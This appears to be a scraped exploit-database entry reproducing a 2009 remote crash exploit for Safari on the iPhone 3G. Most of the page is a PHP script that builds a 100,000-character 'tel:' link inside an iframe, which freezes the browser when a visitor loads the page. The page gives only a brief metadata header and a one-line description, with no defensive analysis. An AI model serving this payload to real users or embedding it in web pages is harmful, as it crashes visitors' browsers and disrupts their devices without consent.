Apple Safari IPhone (using tel:) Remote Crash Exploit

CVE	Category	Price	Severity
N/A	CWE-Improper Input Validation	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2009-09-24

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2009090205

Below is a copy:

# Apple Safari Iphone Crash using tel:
# Found by cloud : cloud[at]madpowah[dot]org
# http://blog.madpowah.org

# Tested on Iphone 3G, OS 3.0.1
# Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear

# Exploit:

<?php
set_time_limit(0);
$var = "";
for ($i=0; $i<100000; $i++){
       $var = $var . "A";
}
echo '<iframe src="tel:' . $var .'"></iframe>';
?>

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